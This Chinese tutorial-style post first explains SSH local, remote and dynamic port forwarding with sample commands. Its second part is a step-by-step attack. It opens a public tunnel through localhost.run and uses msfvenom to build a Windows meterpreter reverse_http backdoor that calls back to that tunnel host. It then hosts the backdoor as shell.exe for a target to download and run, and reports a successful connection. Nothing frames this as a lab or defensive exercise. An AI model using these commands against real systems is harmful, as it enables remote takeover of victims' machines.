一.原理
(一)SSH本地端口转发
@H_404_13@将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
-L LocalPort:RemoteHost:RemoteHostPort sshServer
A->C 访问被限制
A-B->C 使用B主机作为跳板突破访问限制
实例:
现在我们使用下面这条命令来达成我们的目的(192.168.0.100上执行)
① ssh -N -f -L 2121:234.234.234.234:21 123.123.123.123
② ftp://localhost:2121
SSH客户端的三个参数:
-N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发
-f 告诉SSH客户端在后台运行
-L 做本地映射端口,被冒号分割的三个部分含义分别是 :
需要使用的本地端口号
需要访问的目标机器IP地址(IP: 234.234.234.234)
需要访问的目标机器端口(端口: 21)
最后一个参数是我们用来建立隧道的中间机器的IP地址(IP: 123.123.123.123)
当访问本机的2121的端口时,被加密后转发到123.123.123.123的ssh服务,再解密被转发到234.234.234.234:21
(二)SSH远程端口转发
@H_404_13@-R sshServerPort:RemoteHost:RemoteHostPort sshServer
C-x->A (拒绝访问)
C-B->A (通过远程代理,接受访问)
①ssh -N -f -R 2222:127.0.0.1:22 123.123.123.123
②ssh -p 2222 localhost
该参数的三个部分的含义分别是:
远程机器使用的端口(2222)
需要映射的内部机器的IP地址(127.0.0.1)
需要映射的内部机器的端口(22)
(三)动态端口转发
@H_404_13@ssh -N -f -D localHost:localPort sshServer
-D,dynamic,动态端口转发
本地和远程端口转发,都限定了目标服务器以及目标服务器的端口;
而动态端口转发,A把B作为了自己的全权代理,不限定目标服务器及其端口;
这里要求在A上,做下代理设置,比如浏览器的代理设定为自己IP:PORT;
本地端口转发和远程端口转发,其实都可看着是动态端口转发(代理)的子集;
二.使用
@H_404_13@打开kali,输入ssh-keygen
SSH 密钥对可以让你方便的登录到 SSH 服务器,而无需输入密码。由于你无需发送你的密码到网络中,SSH 密钥对被认为是更加安全的方式。再加上使用密码短语 (passphrase) 的使用,安全性会更上一层楼。
这里直接回车使用默认的
service apache2 start 开启apache服务
ssh -R 80:localhost:80 localhost.run 开启远程端口转发
键入yes
获得一个地址:https://06327fbb553a9e.localhost.run这个地址能从任何一个电脑访问到
①kali机
生成后门
msfvenom -p windows/meterpreter/reverse_http LHOST=06327fbb553a9e.localhost.run LPORT=80 -f exe -o /var/www/html/shell.exe
把后门文件放在网站目录下方便目标机下载
在目标机上访问https://06327fbb553a9e.localhost.run/shell.exe 下载后门
Service apache2 stop 关闭Apache,因为Apache占用了80端口
在kali上面设置监听
在目标机上运行shell.exe
成功连接
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。